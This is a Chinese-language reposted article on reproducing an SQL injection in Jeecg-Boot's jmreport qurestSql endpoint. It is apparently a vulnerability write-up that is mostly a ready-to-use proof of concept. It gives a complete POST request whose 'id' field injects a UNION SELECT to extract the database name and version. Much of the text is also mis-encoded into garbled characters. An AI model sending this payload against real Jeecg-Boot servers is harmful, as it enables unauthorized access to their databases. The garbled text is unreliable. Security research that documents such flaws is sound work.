一、Jeecg-Boot介紹
JeecgBoot 是一款基于代碼生成器的低代碼開發(fā)平臺(tái)
!前后端分離架構(gòu) SpringBoot2.x,SpringCloud,Ant Design&Vue,Mybatis-plus,Shiro,JWT,支持微服務(wù)。強(qiáng)大的代碼生成器讓前后端代碼一鍵生成,實(shí)現(xiàn)低代碼開發(fā)! JeecgBoot 引領(lǐng)新的低代碼開發(fā)模式(OnlineCoding-> 代碼生成器-> 手工MERGE), 幫助解決Java項(xiàng)目70%的重復(fù)工作,讓開發(fā)更多關(guān)注業(yè)務(wù)。既能快速提高效率,節(jié)省研發(fā)成本,同時(shí)又不失靈活性。
二、漏洞復(fù)現(xiàn)
Jeecg-Boot 的/jeecg-boot/jmreport/qurestSql接口存在sql注入漏洞,url訪問 /jeecg-boot/jmreport/qurestSql出現(xiàn)如下頁面
開啟抓包工具,修改請(qǐng)求報(bào)文方式為POST,并修改數(shù)據(jù)包,執(zhí)行查詢出了目標(biāo)數(shù)據(jù)庫名稱和數(shù)據(jù)庫版本。
文章來源:http://www.zghlxwxcb.cn/news/detail-706027.html
POC如下:文章來源地址http://www.zghlxwxcb.cn/news/detail-706027.html
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xx.xx.xx.xx:xxxx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 131
{"apiSelectId": "1290104038414721025", "id": "1' union all select 1,2,database(),version(),5,6,7 from rep_demo_gongsi where id='1"}
到了這里,關(guān)于Jeecg-Boot /jeecg-boot/jmreport/qurestSql接口sql注入漏洞復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!